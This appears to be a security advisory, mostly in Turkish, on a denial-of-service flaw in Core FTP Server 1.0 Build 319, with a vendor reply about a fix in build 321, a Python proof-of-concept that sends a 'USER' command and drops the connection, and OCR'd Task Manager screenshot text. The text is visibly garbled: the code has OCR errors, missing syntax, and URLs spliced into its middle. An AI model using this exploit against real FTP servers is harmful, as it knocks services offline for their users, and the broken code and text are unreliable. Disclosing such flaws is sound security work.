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319 Denial of Service
Vulnerability
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Sorunun kaynagina kabaca bakacak olursak ftp sunucusuna USER komutu
gonderildikten hemen sonra baglanti kesilirse, CPU %100'e ylkselmekte ve
servis kapatilana dek bu seviyede calismaya devam etmektedir. Bu zafiyeti
istismar edebilmek ic¢in ftp sunucusu Uzerinde gecgerli bir hesabinizin

olmasina gerek yoktur.

Not: Buil 321 ile sorun ortadan kalkmistir.

Ok sorry about the delay, here’s the build that should fix it..
http://www.coreftp.com/test/Server.exe (build 321)

Core FTP Support

Download: Core FTP Server 1.0 Build 319

POC Code:

# Core FTP Server 1.0 Build 319

# Denial of Service Vulnerability

# Note: FTP account is not required for exploitation
# http://www.mertsarica.com

import socket, sys
HOST ‘localhost’

PORT = 21
s = socket.socket(socket.AF INET, socket.SOCK STREAM)

try:
s.connect((HOST, PORT))
except:


https://www.mertsarica.com/core-ftp-server-1-0-build-319-denial-of-service-vulnerability/
https://www.mertsarica.com/core-ftp-server-1-0-build-319-denial-of-service-vulnerability/
https://www.mertsarica.com/core-ftp-server-1-0-build-319-denial-of-service-vulnerability/
http://www.coreftp.com/server/download/
http://www.mertsarica.com/codes/core_dos.py

print "Connection error"
sys.exit(1)

try:
s.send('USER MS\r\n') # magic packet
s.close()

print("Very good, young padawan, but you still have much to learn...")

except:
print "Connection error"
sys.exit(1)
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Applications

Processes: 31

Uery good padawan...

C:~Documents and Settings“AdministratorDesktop>

Processes

Image Mame

WMwareService. exe
pythaonw, exe
taskmagr.exe
cmd, exe
swchost,exe
wireshark.exe
jusched.exe
WMwarellser, exe
WMwareTray, exe
explarer.exe
spoolsy, exe
wauclk, exe
swchost,exe
swchost,exe
ckfmon, exe
svchost.exe
svchost.exe
swrhnst.exe
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Performance

User Name
Adrinistrator
SYSTEM
Adrinistratar
Adrinistratar
Adrinistratar
LAl SERYICE
Adrninistrator
Administrator
Administrator
Adrinistratar
Adrinistratar
SYSTEM
Adrinistratar
LOZAaL SERYICE
METWOREK SERVICE
Adrninistrator
SHSTEM

METWORE SERVICE
SYSTFM

Show processes fram all users

IC:~Documentz and Settingz“~AdministratorsDesktoprcore_dos._py
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